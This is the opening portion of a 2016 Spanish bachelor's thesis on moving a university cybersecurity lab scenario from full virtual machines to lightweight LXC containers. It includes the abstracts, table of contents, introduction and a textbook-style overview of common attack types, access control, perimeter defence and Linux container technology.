Desarrollo y configuración de un entorno ligero de virtualización para el despliegue de escenarios de seguridad en prácticas de carácter docente

Texto completo

(1)GRADO EN INGENIERÍA DE TECNOLOGÍAS Y SERVICIOS DE TELECOMUNICACIÓN TRABAJO DE FIN DE GRADO. DESARROLLO Y CONFIGURACIÓN DE UN ENTORNO LIGERO DE VIRTUALIZACIÓN PARA EL DESPLIEGUE DE ESCENARIOS DE SEGURIDAD EN PRÁCTICAS DE CARÁCTER DOCENTE. IGNACIO GÓMEZ SÁEZ 2016.

(2)

(3) PROYECTO DE FIN DE GRADO TÍTULO:. Desarrollo y configuración de un entorno ligero de virtualización para el despliegue de escenarios de seguridad en prácticas de carácter docente. Autor:. Ignacio Gómez Sáez. Tutor:. Victor Abraham Villagra González. Departamento: Departamento de Ingenierı́a de Sistemas Telemáticos. COMPOSICIÓN DEL TRIBUNAL Presidente:. D. Enrique Váquez Gallo. Vocal:. D. Manuel Alvarez-Campana FernándezCorredor. Secretario:. D. Francisco González Vidal. Suplente:. D. Julio José Berrocal Colmenarejo. Fecha de defensa: Calificación:.

(4)

(5) UNIVERSIDAD POLITÉCNICA DE MADRID ESCUELA TÉCNICA SUPERIOR DE INGENIEROS DE TELECOMUNICACIÓN. GRADO EN INGENIERÍA DE TECNOLOGÍAS Y SERVICIOS DE TELECOMUNICACIÓN TRABAJO DE FIN DE GRADO. DESARROLLO Y CONFIGURACIÓN DE UN ENTORNO LIGERO DE VIRTUALIZACIÓN PARA EL DESPLIEGUE DE ESCENARIOS DE SEGURIDAD EN PRÁCTICAS DE CARÁCTER DOCENTE. IGNACIO GÓMEZ SÁEZ 2016.

(6)

(7) Resumen El objetivo de este trabajo es el desarrollo de una optimización de un escenario de prácticas docentes sobre ciberseguridad. Para ello, exploraremos la utilización de tecnologı́as de virtualización ligera que servirán para reducir considerablemente el uso de recursos del sistema del usuario, ası́ como el uso versiones de distribuciones de Linux orientadas a la seguridad más ligeras. Se explicará el proceso de migración de máquinas virtuales completas a contenedores de Linux Containers (LXC) y los cambios que sean necesarios realizar a la práctica para que la adaptación sea posible. A continuación se mostrarán y explicarán los comandos usados en un script que el alumno podrá usar para manejar el escenario de la práctica. Por último, se realizará una comparativa entre los dos modelos con el objetivo de comprobar cuánto mejora el uso de recursos con la optimización el escenario de la práctica.. Palabras clave Ciberseguridad, prácticas docentes, virtualización ligera, LXC, optimización.. i.

(8) Summary The main objective of this thesis is to develop an optimization of some laboratory sessions related to cybersecurity. For that purpose, different lightweight virtualization technologies will be evaluated in order to significantly minimize the resource usage of the user’s system, as well as light versions of Linux distributions focused on security tasks. The steps to migrate full virtual machines into LXC containers will be explained, as well as those aspects of the laboratory sessions that needed to be changed to ensure compliance with the requirements of the laboratory sessions. Furthermore, the commands that the student can use to manage the servers will be shown and explained. At last, both laboratory models will be compared to measure how much better the resource usage gets with the optimization.. Keywords Cibersecurity, laboratory, lightweigth virtualization, LXC, optimization.. ii.

(9) Índice general Resumen. I. Índice general. III. Índice de figuras. V. Índice de tablas. VI. Acrónimos. VII. 1 Introducción. 1. 1.1. Ámbito . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. 1. 1.2. Objetivo del trabajo . . . . . . . . . . . . . . . . . . . . . . . . . .. 2. 1.3. Estructura de la memoria . . . . . . . . . . . . . . . . . . . . . . .. 2. 2 Estado del arte. 4. 2.1. Ciberseguridad . . . . . . . . . . . . . . . 2.1.1 Amenazas humanas . . . . . . . . . 2.1.2 Amenazas tecnológicas . . . . . . . 2.1.3 Advanced Persistent Threat (APT) 2.1.4 Control de acceso . . . . . . . . . . 2.1.5 Sistemas de defensa perimetral . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . . . . . .. . 4 . 4 . 6 . 8 . 9 . 10. 2.2. Virtualización completa . . . . . . . . . . . . . . . . . . . . . . . . 11 2.2.1 Descripción . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 2.2.2 Ventajas de la virtualización . . . . . . . . . . . . . . . . . . 12. 2.3. Virtualización ligera: LXC . . . . . . . . . . . . . . . . . . . . . . . 13 2.3.1 Namespaces . . . . . . . . . . . . . . . . . . . . . . . . . . . 14 2.3.2 CGroups . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15. 3 Descripción de la práctica. 16. 3.1. Propósito . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16. 3.2. Escenario . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17. 3.3. Desarrollo . 3.3.1 Parte 3.3.2 Parte 3.3.3 Parte. . . . . . . . . . . . . . . . . . . . 1: Uso de Metasploit-Framework 2: Ataque de inyección SQL . . . 3: Acceso a una red interna . . .. iii. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. 18 18 18 19.

(10) ÍNDICE GENERAL. iv 4 Optimización: Máquina de Usuario. 20. 4.1. Sistema original . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20 4.1.1 Descripción . . . . . . . . . . . . . . . . . . . . . . . . . . . 20. 4.2. Sistema optimizado . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 4.2.1 Descripción . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 4.2.2 Preparación del sistema . . . . . . . . . . . . . . . . . . . . 22. 5 Optimización: Servidores virtuales. 26. 5.1. Situación original . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 5.1.1 Descripción . . . . . . . . . . . . . . . . . . . . . . . . . . . 26. 5.2. Máquinas optimizadas . . . . . . . . . . . . . . . . . 5.2.1 Descripción . . . . . . . . . . . . . . . . . . . 5.2.2 Preparación de los contenedores: S1, S2, SQLi 5.2.3 Preparación del contenedor SVulnerable . . .. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. . . . .. 6 Uso del escenario 6.1. 27 27 28 31 34. Script para alumnos . . . . . . . . . . . . . . . . . . . . . . . . . . 34. 7 Cambios en la práctica 7.1. Cambios generales. 7.2. Primera parte con SVulnerable . . . . . 7.2.1 Inicialización del entorno . . . . 7.2.2 Iniciando servicios . . . . . . . 7.2.3 Exploración de la red . . . . . . 7.2.4 Explotación de vulnerabilidades. 8 Mejoras apreciadas. 36. . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. . . . . .. 37 37 37 37 39 43. 8.1. Tamaño y tiempo de arranque . . . . . . . . . . . . . . . . . . . . . 43. 8.2. Uso de recursos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44. 9 Conclusiones finales. 46. 9.1. Conclusiones del trabajo . . . . . . . . . . . . . . . . . . . . . . . . 46. 9.2. Valoración personal . . . . . . . . . . . . . . . . . . . . . . . . . . . 47. 9.3. Lineas a futuro . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47. Bibliografı́a. 49.

(11) Índice de figuras. 2.1. ARP Poisoning . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. 7. 2.2. Ciclo APT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. 9. 2.3. Virtualización ligera frente a completa . . . . . . . . . . . . . . . . 13. 2.4. Ejemplo de Networks namespaces . . . . . . . . . . . . . . . . . . . 15. 3.1. Esquema del escenario de la práctica . . . . . . . . . . . . . . . . . 17. 4.1. GParted . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23. 8.1. Análisis de rendimiento . . . . . . . . . . . . . . . . . . . . . . . . . 45. v.

(12) Índice de tablas. 8.1. Tamaño del escenario antes y después de la optimización . . . . . . 43. 8.2. Tiempo de arranque en segundos . . . . . . . . . . . . . . . . . . . 43. 8.3. Porcentaje de tiempo de procesador (sobre 800 % por tener 8 núcleos) 44. 8.4. MB de memoria RAM privados . . . . . . . . . . . . . . . . . . . . 44. 8.5. MB de memoria RAM compartida . . . . . . . . . . . . . . . . . . . 44. vi.

(13) Acrónimos AAA Authentication, Authorization, Accounting 10 APT Advanced Persistent Threat 4, 8 ARP Address Resolution Protocol 7 CGroup Control Group 15 CHAP Challengue-based Authentication Protocol 10 DDoS Distributed Denial of Service 8 DMZ Demilitarized Zone 10 EAP Extensible Authentication Protocol 10 FTP File Transfer Protocol 18 IDS Intrusion Detection System 11 IP Internet Protocol 7, 21, 27, 40 IPS Intrusion Prevention System 11 IRS Intrusion Response System 11 LAN Local Area Network 14 LXC Linux Containers 2, 13, 14, 23, 27, 28, 34, 36, 46, 47 MAC Media Access Control 7, 29 MZ Militarized Zone 10, 11 NAT Network Address Translation 21 PAP Password Authentication Protocol 10 PID Process Identifier 14 PtP Point to Point 30 vii.

(14) viii RAM Random Access Memory 20, 26 RAT Remote Administration Tool 8 SO Sistema Operativo 11–13, 28, 29, 47 URL Uniform Resource Locator 5 VEth Virtual Ethernet 14, 27, 29, 30 VLAN Virtual Local Area Network 30 VMM Virtual Machine Monitor 11, 12 VNX Virtual Networks over Linux 47. Acrónimos.

(15) Capı́tulo 1 Introducción Contenidos. 1.1.. 1.1. Ámbito . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. 1. 1.2. Objetivo del trabajo . . . . . . . . . . . . . . . . . . . . . . . .. 2. 1.3. Estructura de la memoria . . . . . . . . . . . . . . . . . . . . .. 2. Ámbito. El uso de las nuevas tecnologı́as e Internet aumenta exponencialmente año tras año. Con ello, las empresas encuentran diferentes maneras de rentabilizar su negocio usando esas nuevas herramientas. Sin embargo, es importante recordar que con su uso se derivan muchos peligros que es importante conocer y a los que hay que darles su debida importancia. Es importante que cualquier profesional cuya pretensión sea trabajar en entornos corporativos sean conscientes de los numerosos peligros que conlleva el uso de equipos informáticos para los activos de la empresa. Esta concienciación no debe ser exclusiva de los que sean expertos en ciberseguridad. Por lo tanto, lo ideal es que empiecen desde un principio a tener experiencia en el trato de la seguridad informática en el mismo momento en el que empiezan a formarse en ese ámbito. Ası́ mismo, es importante que el acceso a esa información y a esas experiencias sea fácil, sencillo, y no requiera de un equipo relativamente potente. Para ello, lo ideal es observar que tecnologı́as se usan en el campo del desarrollo software y evaluar su posible uso para los propósitos que se exponen en este trabajo, y observar si a su vez, son potencialmente útiles para otros proyectos relacionados con el campo de la seguridad informática. 1.

(16) 2. 1.2.. CAPÍTULO 1. INTRODUCCIÓN. Objetivo del trabajo. El objetivo de este trabajo es tratar de mejorar un escenario de una práctica docente sobre ciberseguridad con el objetivo de que pueda ser ejecutado con unos requisitos menores, ası́ como mejorar la experiencia de usuario con el escenario y facilitar su uso en la medida de lo posible, de manera que cualquier usuario pueda ejecutar la práctica sin tener que sacrificar muchos recursos de su equipo personal. De igual manera, se pretende medir la capacidad del sistema de virtualización utilizado, LXC, para la ejecución de este tipo de escenarios, en vistas a valorar su posible uso en otros aspectos de la seguridad, ası́ como la dificultad de su configuración o la complejidad de una migración a esta tecnologı́a.. 1.3.. Estructura de la memoria. Esta memoria contiene los siguientes capı́tulos y contenidos:. Capı́tulo 1 Pequeña introducción a la memoria, explicando el ámbito, objetivo, y estructura de la misma. Capı́tulo 2 Explicación del estado de las tecnologı́as y la base teórica sobre la que se sustenta el trabajo, concretamente sobe la ciberseguridad y la virtualización. Capı́tulo 3 Descripción del escenario y del desarrollo de la práctica de forma global, sin describir aspectos técnicos del propio escenario. Capı́tulo 4 Descripción del proceso de optimización que se ha llevado a cabo con el objetivo de optimizar la máquina virtual que el usuario va a usar para atacar los demás servidores. Capı́tulo 5 Descripción del proceso de optimización que se ha llevado a cabo con el objetivo de optimizar los servidores que el usuario atacará durante la práctica. Capı́tulo 6 Explicación de como el alumno hará uso del escenario de la práctica y descripción del script con el que manejará los servidores..

(17) 1.3. ESTRUCTURA DE LA MEMORIA. 3. Capı́tulo 7 Explicación de los cambios que han sido necesarios realizar en la práctica, especialmente en la primera parte, para adaptarse al nuevo escenario optimizado. Capı́tulo 8 Estudio de las mejoras apreciables entre los dos modelos de escenario en diferentes aspectos, medidas con herramientas de análisis de rendimiento. Capı́tulo 9 Conclusiones del trabajo realizado, con conclusiones técnicas sobre el propio trabajo, valoraciones personales, y posibles lineas a futuro..

(18) Capı́tulo 2 Estado del arte Contenidos 2.1. 2.2. 2.3. 2.1.. Ciberseguridad . . . . . . . . . . . . . . . . . . . . . . . . . . .. 4. 2.1.1. Amenazas humanas . . . . . . . . . . . . . . . . . . . .. 4. 2.1.2. Amenazas tecnológicas . . . . . . . . . . . . . . . . . .. 6. 2.1.3. Advanced Persistent Threat (APT) . . . . . . . . . . .. 8. 2.1.4. Control de acceso . . . . . . . . . . . . . . . . . . . . .. 9. 2.1.5. Sistemas de defensa perimetral . . . . . . . . . . . . .. 10. Virtualización completa . . . . . . . . . . . . . . . . . . . . . .. 11. 2.2.1. Descripción . . . . . . . . . . . . . . . . . . . . . . . .. 11. 2.2.2. Ventajas de la virtualización . . . . . . . . . . . . . . .. 12. Virtualización ligera: LXC . . . . . . . . . . . . . . . . . . . .. 13. 2.3.1. Namespaces . . . . . . . . . . . . . . . . . . . . . . . .. 14. 2.3.2. CGroups . . . . . . . . . . . . . . . . . . . . . . . . . .. 15. Ciberseguridad. Cuando se trabaja en un entorno profesional, como puede ser una empresa, hay numerosos riesgos que pueden comprometer los activos de la misma. Es de vital importancia conocerlos, por lo que a continuación se presentará un desglose categorizado de los mismos.. 2.1.1.. Amenazas humanas. Son aquellas que se caracterizan por aprovechar el desconocimiento técnico, la buena voluntad, o los descuidos de los trabajadores. A menudo este tipo de amenazas 4.

(19) 2.1. CIBERSEGURIDAD. 5. se convierten en el principal problema y el origen de muchos ataques serios a las empresas, ası́ como fugas de información directas. Como veremos a continuación, hay numerosos modos de aprovecharse de las vulnerabilidades humanas, englobados en lo que comúnmente se denomina ingenierı́a social.. Con presencia fı́sica Este tipo de ataques se basan en engañar de forma personal a una persona, normalmente un empleado de la empresa objetivo, para extraer información o hacerle cooperar, sin su conocimiento, en un ataque a la propia empresa. Para la extracción de la información se utilizan diversas técnicas. Una muy común es impersonarse como un policı́a, periodista, o utilizar cualquier otro pretexto que sirva como justificante para la petición de información1 . Otra técnica es engañar a empresas de paqueterı́a para que modifiquen el el destino de la entrega. Otras prácticas menos ortodoxas son el dumpster diving, que no es más que buscar en la basura para encontrar información, y el shoulder surfing, que se trata de mirar por encima del hombro de una persona cuando se encuentra tecleando una contraseña. En cuanto al ataque directo o acceso a una empresa destaca el baiting, consistente en dejar dispositivos de almacenamiento infectados “olvidados” cerca de la localización de una empresa para que un empleado lo encuentre y compruebe su contenido en su equipo de trabajo, y el tailgaiting, consistente en entrar a una empresa por barreras fı́sicas pasando justo detrás de un empleado.. Por internet En este tipo de ataques se trata de engañar a una vı́ctima o a un gran número de ellas para, o bien extraer información personal, o para embaucar y conseguir que ejecuten o descarguen archivos maliciosos. A la técnica consistente en extraer información se le denomina phising. Se suele llevar a cabo mediante emails que convencen a la vı́ctima de visitar páginas que en realidad son falsas para introducir sus datos allı́. En ocasiones las páginas falsas son copias casi exactas de las legı́timas, diferenciándose únicamente en el URL de 1. Esto también se puede realizar por teléfono o email.

(20) 6. CAPÍTULO 2. ESTADO DEL ARTE. la misma. A menudo se trata de que las vı́ctimas descarguen archivos con código malicioso, sea en una página o enviados adjuntos por correo, que se aprovechan de vulnerabilidades en programas como Adobe o vulnerabilidades “0-day”2 . También se puede tratar de extraer información a través de Internet en páginas donde los usuarios hayan publicado información que puede ser relevante para los propósitos de un atacante, o a través de los metadatos de documentación publicada.. 2.1.2.. Amenazas tecnológicas. Este tipo de vulnerabilidades están asociados a cualquier uso de una determinada tecnologı́a. Es conveniente actualizar continuamente los programas que se usan y proteger el acceso a ciertas herramientas tecnológicas.. Vulnerabilidades por configuración Este tipo de vulnerabilidades se basan en el aprovechamiento de una configuración indebida de los servidores, que pueden suponer una facilidad para que el atacante entre dentro del sistema. Es conveniente realizar auditorı́as en el sistema para evitar este tipo de vulnerabilidades, utilizando programas especializados como Nessus, Tigep o Bastille-Linux.. Vulnerabilidades por software Este tipo de vulnerabilidad son debidas al software que ejecuta el servidor y pueden provocar que el atacante tenga acceso completo al sistema o a los recursos del mismo. Este tipo de vulnerabilidades se basan en la mala gestión de los datos de entrada que un usuario da al programa en cuestión. Una forma de vulnerabilidad ampliamente conocida es el buffer overflow. Este tipo de ataques se basan en la saturación de la entrada en un programa con el objetivo de alcanzar la pila de memoria del sistema e indicarle una posición de memoria donde está alojado el código malicioso. 2. Vulnerabilidades descubiertas recientemente, cuando todavı́a no hay parches que las corrijan.

(21) 2.1. CIBERSEGURIDAD. 7. Otra forma consiste en la composición de argumentos que un programa no valida correctamente y, por lo tanto, provoca un estado no deseado en el software. Por último, es conveniente mencionar las race conditions, un comportamiento que causa vulnerabilidades en un sistema. Esto se da cuando dos hilos de ejecución tratan de modificar datos en memoria que comparten a la misma vez.. Vulnerabilidades de protocolo Son vulnerabilidades provocadas por no ajustarme estrictamente a los estándares cuando se utilizan protocolos ampliamente usados. Uno de estos ataques trata de adivinar el siguiente número de secuencia TCP en una conversación entre dos máquinas, con el objetivo de enviar un comunicado fraudulento a uno de esos servidores. Esto se puede solucionar con una buena aleatorización del número de secuencia, algo estipulado en el estándar. Otro caso tı́pico es el Address Resolution Protocol (ARP) Poisoning, que consiste en hacer creer a una máquina A que la Internet Protocol (IP) de una máquina B pertenece a la MAC de la máquina atacante. De esta manera, las siguientes comunicaciones que la máquina A pretenda hacer a B serán dirigidas al atacante, y con eso poder hacer un ataque Man in the Middle.. Figura 2.1: ARP Poisoning. 3. Vulnerabilidades de negación de Servicio Este tipo de vulnerabilidades atacan a un servidor con el objetivo de cesar su disponibilidad, no con el objetivo de introducirse en el sistema. Los ataques que buscan ese objetivo pueden aprovecharse de vulnerabilidades tecnológicas o se pueden basar en ataques de fuerza bruta. 3. Fuente: tournasdimitrios1.files.wordpress.com.

(22) 8. CAPÍTULO 2. ESTADO DEL ARTE. Para los ataques de fuerza bruta, conocidos comúnmente como Distributed Denial of Service (DDoS), se suelen utilizar redes de “zombie”, máquinas comprometidas previamente que se usan para aumentar la carga conjunta de peticiones que se envı́an al servidor objetivo.. Vulnerabilidades en aplicaciones cliente Estas vulnerabilidades corresponden a las propias de las aplicaciones de usuario. Normalmente es necesario que se engañe previamente al usuario para que abra archivos con código malicioso que ataque a los programas que ejecutan esos archivos.. 2.1.3.. Advanced Persistent Threat (APT). Una Amenaza Persistente Avanzada es la realización de un ataque continuado y dividido en varias fases que se mantiene en el tiempo. Es un tipo de ataque que se realiza tı́picamente en entornos corporativos. Las fases en las que se divide este ataque son: 1. Recolección de información: Se recopila información del objetivo sobre el que se realizará el ataque mediante redes sociales, metadatos en documentos, ingenierı́a social, etc. 2. Intrusión inicial en la red: En esta fase se busca introducirse en la red corporativa de nuestro objetivo. Para ello, se utilizan técnicas de ingenierı́a social dirigida4 , vulnerabilidades 0-day o vulnerabilidades no corregidas debido a negligencias. 3. Asegurar comunicación continuada: Se utilizan herramientas para generar troyanos, por ejemplo, software Remote Administration Tool (RAT). 4. Búsqueda de información sensible 5. Extracción de datos: La extracción de datos se realiza de forma disimulada, para evitar la detección de la instrusion.. 4. Spear Phising, especialmente dirigido a un objetivo concreto ayudándose de la información recopilada en la primera fase.

(23) 2.1. CIBERSEGURIDAD. 9. Figura 2.2: Ciclo APT. 2.1.4.. 5. Control de acceso. Para proteger los activos de una empresa es necesario mantener unos controles de acceso a los distintos recursos de la misma, de manera que que podamos asegurar la autenticación y autorización de los usuarios. Para ello, hay numerosas tecnologı́as y metodologı́as que nos ayudan con ese propósito, yendo más allá de las medidas fı́sicas6 . Considerando la protección fı́sica de los activos, tenemos muchas opciones para autenticar a la persona que quiere tener acceso a un activo importante de la corporación. Estas medidas se pueden diferenciar en varios tipos según el aspecto que se explora del usuario: Lo que sabe, lo que lleva, lo que es, o donde está. En ese sentido hay medidas como el uso de contraseñas, el uso de tarjetas magnéticas, las autenticaciones biométricas y de comportamiento... El método más usado, por lo barato y sencillo que es de implementar, es la contra5 6. Fuente: bigsnarf.files.wordpress.com Como muros, vigilancia presencial, alarmas, etc..

(24) 10. CAPÍTULO 2. ESTADO DEL ARTE. seña. Sin embargo, tiene numerosas debilidades: Ingenierı́a social, adivinación por fuerza bruta, captura en lı́nea... Por lo tanto, es necesario implementar medidas adicionales para asegurar que no es fácil vulnerar la capacidad de autenticación de los usuarios. Para la autenticación por contraseña hay distintos protocolos de implementación. Uno de los más simples es el Password Authentication Protocol (PAP), basado en el envı́o de la clave y el usuario en claro, por lo que es extremadamente inseguro. El protocolo Challengue-based Authentication Protocol (CHAP), basado en la respuesta de retos7 propuestos por el servidor, mejora sustancialmente la seguridad del intercambio de contraseñas. Este protocolo serı́a extendido al Extensible Authentication Protocol (EAP), que proporciona mecanismos para la negociación del método de validación de claves. Otros métodos, denominados Single sign-on, se basan en la autenticación y mantenimiento de sesiones y servicios, de manera que con un solo par de clave e identificador de usuario sea posible utilizar numerosos servicios. Un ejemplo de esto es el protocolo Kerberos. Para escenario complejos se utilizan sistemas Authentication, Authorization, Accounting (AAA). Este sistema se basa en la gestión de las autorizaciones a recursos de un nodo por parte de un servidor, que además es capaz de recopilar datos de la sesión que posteriormente puede utilizar, entre otras cosas, para auditorias o tarificación. Ejemplos de protocólos que siguen este sistema son Radius o Diameter, muy usado en comunicaciones móviles modernas.. 2.1.5.. Sistemas de defensa perimetral. En un entorno corporativo con actividad en Internet, se suelen ver varias zonas según las necesidades de seguridad de los equipos que las componen. Estas dos zonas se denominan Demilitarized Zone (DMZ), donde normalmente se encuentra el bastión, el servidor expuesto públicamente, y Militarized Zone (MZ), la zona protegida de la corporación donde se encuentra la información y los activos más sensibles. El control de acceso a estas dos zonas se realiza mediante un cortafuegos. Los cortafuegos son equipos informáticos que utilizan diferentes polı́ticas para discernir 7. Operaciones matemáticas utilizando una clave del usuario y otro datos enviados por el servidor.

(25) 2.2. VIRTUALIZACIÓN COMPLETA. 11. si un paquete de información debe pasar o no hacia la zona MZ. Estos cortafuegos están diseñados para operar en capas concretas de la torre de protocolos, según las necesidades de transparencia o control sobre aplicaciones que se requiera. Además, la arquitectura de red con cortafuegos puede variar en función del presupuesto disponible para la empresa y las necesidades de seguridad. Las arquitecturas más seguras son las llamadas Screened Subnet, basadas en el uso del firewall como un filtro que fı́sicamente separa las dos zonas de la red corporativa. Otra herramienta que se utiliza en entornos de alto riesgo de ciberataques son los Intrusion Detection System (IDS). Son herramientas que monitorizan eventos en las redes y equipos para encontrar patrones extraños que indiquen la presencia de un intruso o la ejecución de un ataque. En caso de detección avisan mediante alarmas. Hay distintas clasificaciones según la frecuencia de análisis, los principios de detección, las estrategias de control, y las respuestas a las detecciones. En cuanto a la clasificación según la respuesta, encontramos los Intrusion Prevention System (IPS), que permiten elaborar medidas preventivas inmediatas ante la detección de un ataque, como por ejemplo modificar activamente las polı́ticas de un cortafuegos, y los Intrusion Response System (IRS), que permiten una respuesta activa en contra del ataque, como desviar al atacante o contraatacar. Por último, es necesario reseñar que hay sistemas de reconocimiento de ataques que se basan en señuelos conocidos como honeypots y honeynets, sistemas y redes simulados y vulnerables a propósito que sirven para aprender sobre los posibles ataque que se puedan realizar y elaborar estadı́sticas sobre los mismos.. 2.2. 2.2.1.. Virtualización completa Descripción. La virtualización completa es la técnica bajo la que se emula el hardware de una máquina con el objetivo de ejecutar encima software. Esencialmente, es tener “un ordenador dentro de otro ordenador”, pudiendo tener dos Sistemas Operativos (SOs) o más a la vez en un solo equipo. La virtualización se realiza añadiendo capas de hardware encima de una capa formada por un software conocido generalmente como Virtual Machine Monitor (VMM) o Hipervisor, encargado de emular el hardware y simular las llamadas a.

(26) 12. CAPÍTULO 2. ESTADO DEL ARTE. sistema del SO emulado. Los principales componentes de un esquema estructural de virtualización son los siguientes: Máquina Host: Es la máquina fı́sica sobre la que se ejecuta el software y que contiene el hardware real que usará de forma indirecta la máquina virtual. Máquina Virtual: Es la representación de una máquina fı́sica que corre y es mantenida sobre un software de virtualización, comportándose como si estuviese corriendo sobre una máquina fı́sica individual. Hypervisor o VMM Es el software que permite ejecutar máquinas virtuales aisladas unas de otras, emulando una capa de hardware que permite simular un sistema fı́sico. Los hay de dos tipos: El tipo 1 es aquel que corre de forma nativa encima de la capa hardware del host, mientras que el tipo 2 corre de forma pararlela al SO del host.. 2.2.2.. Ventajas de la virtualización. Tal como se explica en [1], existen ciertas ventajas en el uso de máquinas virtuales: Seguridad: Debido al aislamiento de cada SO respecto de los demás, es posible desplegar aplicaciones o herramientas que requieran una interacción externa sin que ello comprometa la seguridad de host o de las demás máquinas. Por ejemplo, podrı́amos abrir un servidor Apache en una máquina con Linux y un servidor SQL en otra máquina, de manera que la vulneración de la seguridad en uno de ellos no comprometa al otro. Fiabilidad y disponibilidad: Un fallo en una de las máquinas no provoca que las demás fallen. Reducción de costes: Gracias a la posibilidad de correr diferentes sistemas en un mismo servidor, es posible poseer varios servidores pequeños “metidos” dentro de uno más grande, por lo que a largo plazo es más barato debido a la economı́a de escala. Adaptabilidad: Es posible automatizar la asignación de los recursos a diferentes máquinas virtuales e incluso priorizar la asignación de los mismos a algunas en particular, aprovechando mejor las capacidades de los servidores..

(27) 2.3. VIRTUALIZACIÓN LIGERA: LXC. 13. Uso de aplicaciones legacy : Incluso si una organización decide que debe empezar a utilizar otro SO, se pueden seguir utilizando las aplicaciones compatibles con el anterior SO gracias a la virtualización.. 2.3.. Virtualización ligera: LXC. Este tipo de virtualización se denomina ası́ por la gran eficiencia que tiene en el consumo y asignación de recursos. Es un tipo de virtualización en el que no se emula una capa de hardware para ejecutar SOs sobre ella, sino que se aı́slan recursos dentro del sistema para ser utilizados por contenedores, que se comportan de forma similar a una máquina virtual. Solo es posible ejecutar SOs que compartan kernel con el host, es decir, se puede ejecutar cualquier distribución Linux sobre otra distribución Linux8 , pero no se puede ejecutar Windows sobre Linux.. Figura 2.3: Virtualización ligera frente a completa. 9. LXC se basa en este tipo de virtualización, facilitando la creación de contenedores mediante plantillas para crearlos y poder ejecutarlos con una configuración manual mı́nima, ası́ como configurarlos de forma sencilla en caso de necesidad. Tal como describen en [2, Sección 2.4], y profundizan en [2, Secciones 3, 4], para la virtualización ligera con LXC se utilizan las siguientes caracterı́sticas propias del kernel de Linux. 8 9. Siempre que tengan una versión del kernel de Linux suficiente Fuente: [2].

(28) 14. CAPÍTULO 2. ESTADO DEL ARTE. 2.3.1.. Namespaces. Los Namespaces son la pieza fundamental de los contenedores en Linux. Son entornos que permiten el aislamiento de procesos y redes entre distintos contenedores, dividiendo diferentes estructuras10 del kernel en sus propias instancias. Esto provoca que haya diferentes “perspectivas” del sistema por parte de los procesos. Hay diferentes tipos de Namespaces, siendo los últimos desarrollados y más importantes para el uso de contenedores los dos siguientes: Network namespace: Se empezó a desarrollar a partir del kernel 2.6.24 de Linux. Este tipo de entornos permite el aislamiento de interfaces de red, comportándose como interfaces de distintos equipos. Los programas modernos de virtualización ligera, incluyendo entre ellos al LXC, incorporan mecanismos para crear redes con bridges, conectando al host con los contenedores en una Local Area Network (LAN), entre otras opciones. Por lo general, estas conexiones entre host y contenedores se realizan mediante conexiones Virtual Ethernet (VEth). User namespace: Se empezó a desarrollar a partir del kernel 2.6.23 de Linux. Representa una barrera de seguridad crucial en el uso de contenedores. Antes del desarrollo de este tipo de namespace, el Process Identifier (PID) namespace permitı́a la separación de procesos en los diferentes entornos, dando un PIDs único dentro de cada uno de ellos, pero pudiendo repetirse entre el conjunto de diferentes entornos. A efectos prácticos, esto quiere decir que cada proceso funcionaba como un proceso aislado distinto y propio de cada contenedor. Sin embargo, los procesos que tenı́an capacidades de root dentro de un contenedor, tenı́an también esos privilegios en el host. El User namespaces permite hacer creer a los procesos que tienen privilegios de root dentro de los contenedores, pero fuera de ellos les asigna un PID que pertenece a procesos sin esos privilegios. De estas manera se eliminaron una gran cantidad de potenciales ataques.. 10. Razón por la que hay distintos tipos de namespaces.

(29) 2.3. VIRTUALIZACIÓN LIGERA: LXC. Figura 2.4: Ejemplo de Networks namespaces. 2.3.2.. 15. 11. CGroups. Los Control Groups (CGroups) son un mecanismo para aplicar limites al uso de recursos hardware y controlar el acceso a dispositivos por parte de los procesos. El objetivo con esta acción es controlar tanto el rendimiento como la seguridad. Estos CGroup se configuran mediante un pseudo-sistema de directorios virtual12 , y no son un mecanismo propio y exclusivo del uso de contenedores, sino que el propio sistema de Linux lo utiliza a menudo para satisfacer necesidades de rendimiento y seguridad.. 11 12. Fuente: ringzraw.files.wordpress.com Similar a los directorios /proc, /dev y /sys, tal como se explicará en la Subsección 5.2.2.

